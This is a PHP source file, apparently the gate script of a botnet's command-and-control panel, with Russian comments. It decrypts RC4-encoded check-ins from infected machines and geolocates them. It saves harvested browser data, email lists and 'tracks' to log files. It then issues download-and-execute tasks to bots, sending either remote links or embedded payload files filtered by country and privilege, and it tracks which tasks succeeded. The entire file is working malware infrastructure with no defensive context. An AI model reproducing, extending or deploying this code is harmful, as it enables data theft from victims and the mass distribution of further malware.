<?php
require './vendor/autoload.php';
require './bootstrap/init.php';
require './bootstrap/config.php';

try{
    $bot_data =  \lib\RC4::factory()->decode_bot_request(file_get_contents('php://input'));
    $ip = $_SERVER[\lib\Config::read('ip_variable')];
    $SxGeo = new \lib\SxGeo(\lib\Config::read('sxgeo_path'));
    $c = $SxGeo->getCountry($ip);
    #$c = 'AU';
    $bot_data['country'] = $c ? $c : null;
    $bot_data['ip'] = $ip;

    $m_bot = new \app\models\Bot();

    if(isset($bot_data['report'])) // отчет о прогрузе
    {
        $reports = array_filter(explode("|", $bot_data['report']));
        $success_ids = array();
        $fail_ids = array();
        foreach($reports as $report)
        {
            list($task_id, $load, $exec) = explode(":", $report);

            if(ctype_digit($task_id) && in_array($load, array('1', '0')) && in_array($exec, array('1', '0')))
                $exec ? array_push($success_ids, $task_id) : array_push($fail_ids, $task_id);
        }
        if($success_ids)
        {
            $m_task = new \app\models\Task();
            $m_task->updateExecBulk($success_ids);
        }
    }else{ // регистрация нового/старого бота и выдача задания
//
if($bot_data['browsers']!="") {
$arr=preg_split("/[\n\r]+/s",base64_decode($bot_data['browsers']));
$arr=array_unique($arr);
array_pop($arr); 
 
$file=file("logstxt/browsers.txt"); 
foreach($arr as $key => $value){
$value4="".$value."\r\n";
if(!in_array($value4,$file)){ 
file_put_contents('logstxt/browsers.txt', $value."\r\n", FILE_APPEND);
} 
        
} 

}
//
if($bot_data['mails']!="") {
$arr=preg_split("/[\n\r]+/s",base64_decode($bot_data['mails']));
$arr=array_unique($arr);
array_pop($arr); 
$file=file("logstxt/browsers.txt"); 
foreach($arr as $key => $value){
$value4="".$value."\r\n";
if(!in_array($value4,$file)){ 
        file_put_contents('logstxt/mails.txt', $value."\r\n", FILE_APPEND);
}
} 
}
//
if($bot_data['tracks']!="") {
$arr=preg_split("/[\n\r]+/s",base64_decode($bot_data['tracks']));
$arr=array_unique($arr);
array_pop($arr); 
$file=file("logstxt/temp/".$bot_data['ip'].".txt"); 
foreach($arr as $key => $value){
$value4="".$value."\r\n";
if(!in_array($value4,$file)){ 
        file_put_contents('logstxt/temp/'.$bot_data['ip'].'.txt', "".$value."\r\n", FILE_APPEND);
}
} 
}
//
        $m_bot->set($bot_data);
        $insert = $m_bot->insertBot();

        if(!$insert)
            throw new Exception('Wrong bot data');
        // Ищем нужные таски
        $m_task = new \app\models\Task();
        $tasks = $m_task->getTasks();

        $raw_format = "%s|%s|%s";
        $raw_list = array();
        $task_success_ids = array();
        $bot_tasks = $m_bot->getBotTasks();
        # $bot_tasks = [] - если надо потестить - раскоментить


        if($tasks)
        {
            foreach($tasks as $task)
            {
                if(!$task['status'])
                    continue;

                // check uniq for current task
                if(in_array($task['id'], $bot_tasks))
                    continue;

                // check privileges
                if(!is_null($task['pl']) && $m_bot->pl != $task['pl'])
                    continue;

                // check country
                if(!empty($task['countries']))
                {
                    $exp = explode(" ", $task['countries']);
                    if(in_array($m_bot->country, $exp) && $task['countries_inverse'])
                        continue;
                    if(!in_array($m_bot->country, $exp) && !$task['countries_inverse'])
                        continue;
                }
                $type = $task['remote_file'] && !$task['local_file'] ? 'LINK' : 'FILE';
                $data = $type=='LINK'
                    ? $task['remote_file'] :
                    base64_encode(filesize($task['local_file'])."|".file_get_contents($task['local_file'], FILE_BINARY));

                $raw_list[] = sprintf($raw_format, $type, $task['id'], $data);
                array_push($task_success_ids, $task['id']);
            }

        }

        if($raw_list)
        {
            $m_task->updateLoadBulk($task_success_ids, $m_bot->guid);
            $content = (implode("\r\n", $raw_list));
            header('RC4-Size: '.strlen($content));
            $answer = \lib\RC4::factory()->encode_bot_response($content);
            unset($raw_list, $content);
            echo($answer);
            unset($answer);
        }
    }
}catch (Exception $e){
    \app\controllers\ControllerBase::render_status(400);
    exit();
}